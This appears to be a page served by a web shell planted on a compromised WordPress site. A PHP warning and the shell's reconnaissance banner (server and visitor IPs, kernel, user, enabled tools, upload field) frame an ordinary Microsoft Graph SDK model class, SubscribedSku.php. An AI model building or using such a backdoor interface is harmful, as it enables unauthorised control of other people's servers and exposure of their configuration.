Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/thread-self/cwd/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* SubscribedSku File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* SubscribedSku class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class SubscribedSku extends Entity
{
/**
* Gets the accountId
* The unique ID of the account this SKU belongs to.
*
* @return string|null The accountId
*/
public function getAccountId()
{
if (array_key_exists("accountId", $this->_propDict)) {
return $this->_propDict["accountId"];
} else {
return null;
}
}
/**
* Sets the accountId
* The unique ID of the account this SKU belongs to.
*
* @param string $val The accountId
*
* @return SubscribedSku
*/
public function setAccountId($val)
{
$this->_propDict["accountId"] = $val;
return $this;
}
/**
* Gets the accountName
* The name of the account this SKU belongs to.
*
* @return string|null The accountName
*/
public function getAccountName()
{
if (array_key_exists("accountName", $this->_propDict)) {
return $this->_propDict["accountName"];
} else {
return null;
}
}
/**
* Sets the accountName
* The name of the account this SKU belongs to.
*
* @param string $val The accountName
*
* @return SubscribedSku
*/
public function setAccountName($val)
{
$this->_propDict["accountName"] = $val;
return $this;
}
/**
* Gets the appliesTo
* The target class for this SKU. Only SKUs with target class User are assignable. Possible values are: 'User', 'Company'.
*
* @return string|null The appliesTo
*/
public function getAppliesTo()
{
if (array_key_exists("appliesTo", $this->_propDict)) {
return $this->_propDict["appliesTo"];
} else {
return null;
}
}
/**
* Sets the appliesTo
* The target class for this SKU. Only SKUs with target class User are assignable. Possible values are: 'User', 'Company'.
*
* @param string $val The appliesTo
*
* @return SubscribedSku
*/
public function setAppliesTo($val)
{
$this->_propDict["appliesTo"] = $val;
return $this;
}
/**
* Gets the capabilityStatus
* Enabled indicates that the prepaidUnits property has at least one unit that is enabled. LockedOut indicates that the customer cancelled their subscription. Possible values are: Enabled, Warning, Suspended, Deleted, LockedOut.
*
* @return string|null The capabilityStatus
*/
public function getCapabilityStatus()
{
if (array_key_exists("capabilityStatus", $this->_propDict)) {
return $this->_propDict["capabilityStatus"];
} else {
return null;
}
}
/**
* Sets the capabilityStatus
* Enabled indicates that the prepaidUnits property has at least one unit that is enabled. LockedOut indicates that the customer cancelled their subscription. Possible values are: Enabled, Warning, Suspended, Deleted, LockedOut.
*
* @param string $val The capabilityStatus
*
* @return SubscribedSku
*/
public function setCapabilityStatus($val)
{
$this->_propDict["capabilityStatus"] = $val;
return $this;
}
/**
* Gets the consumedUnits
* The number of licenses that have been assigned.
*
* @return int|null The consumedUnits
*/
public function getConsumedUnits()
{
if (array_key_exists("consumedUnits", $this->_propDict)) {
return $this->_propDict["consumedUnits"];
} else {
return null;
}
}
/**
* Sets the consumedUnits
* The number of licenses that have been assigned.
*
* @param int $val The consumedUnits
*
* @return SubscribedSku
*/
public function setConsumedUnits($val)
{
$this->_propDict["consumedUnits"] = intval($val);
return $this;
}
/**
* Gets the prepaidUnits
* Information about the number and status of prepaid licenses.
*
* @return LicenseUnitsDetail|null The prepaidUnits
*/
public function getPrepaidUnits()
{
if (array_key_exists("prepaidUnits", $this->_propDict)) {
if (is_a($this->_propDict["prepaidUnits"], "\Microsoft\Graph\Model\LicenseUnitsDetail") || is_null($this->_propDict["prepaidUnits"])) {
return $this->_propDict["prepaidUnits"];
} else {
$this->_propDict["prepaidUnits"] = new LicenseUnitsDetail($this->_propDict["prepaidUnits"]);
return $this->_propDict["prepaidUnits"];
}
}
return null;
}
/**
* Sets the prepaidUnits
* Information about the number and status of prepaid licenses.
*
* @param LicenseUnitsDetail $val The prepaidUnits
*
* @return SubscribedSku
*/
public function setPrepaidUnits($val)
{
$this->_propDict["prepaidUnits"] = $val;
return $this;
}
/**
* Gets the servicePlans
* Information about the service plans that are available with the SKU. Not nullable.
*
* @return array|null The servicePlans
*/
public function getServicePlans()
{
if (array_key_exists("servicePlans", $this->_propDict)) {
return $this->_propDict["servicePlans"];
} else {
return null;
}
}
/**
* Sets the servicePlans
* Information about the service plans that are available with the SKU. Not nullable.
*
* @param ServicePlanInfo[] $val The servicePlans
*
* @return SubscribedSku
*/
public function setServicePlans($val)
{
$this->_propDict["servicePlans"] = $val;
return $this;
}
/**
* Gets the skuId
* The unique identifier (GUID) for the service SKU.
*
* @return string|null The skuId
*/
public function getSkuId()
{
if (array_key_exists("skuId", $this->_propDict)) {
return $this->_propDict["skuId"];
} else {
return null;
}
}
/**
* Sets the skuId
* The unique identifier (GUID) for the service SKU.
*
* @param string $val The skuId
*
* @return SubscribedSku
*/
public function setSkuId($val)
{
$this->_propDict["skuId"] = $val;
return $this;
}
/**
* Gets the skuPartNumber
* The SKU part number; for example: 'AAD_PREMIUM' or 'RMSBASIC'. To get a list of commercial subscriptions that an organization has acquired, see List subscribedSkus.
*
* @return string|null The skuPartNumber
*/
public function getSkuPartNumber()
{
if (array_key_exists("skuPartNumber", $this->_propDict)) {
return $this->_propDict["skuPartNumber"];
} else {
return null;
}
}
/**
* Sets the skuPartNumber
* The SKU part number; for example: 'AAD_PREMIUM' or 'RMSBASIC'. To get a list of commercial subscriptions that an organization has acquired, see List subscribedSkus.
*
* @param string $val The skuPartNumber
*
* @return SubscribedSku
*/
public function setSkuPartNumber($val)
{
$this->_propDict["skuPartNumber"] = $val;
return $this;
}
/**
* Gets the subscriptionIds
*
* @return array|null The subscriptionIds
*/
public function getSubscriptionIds()
{
if (array_key_exists("subscriptionIds", $this->_propDict)) {
return $this->_propDict["subscriptionIds"];
} else {
return null;
}
}
/**
* Sets the subscriptionIds
*
* @param string[] $val The subscriptionIds
*
* @return SubscribedSku
*/
public function setSubscriptionIds($val)
{
$this->_propDict["subscriptionIds"] = $val;
return $this;
}
}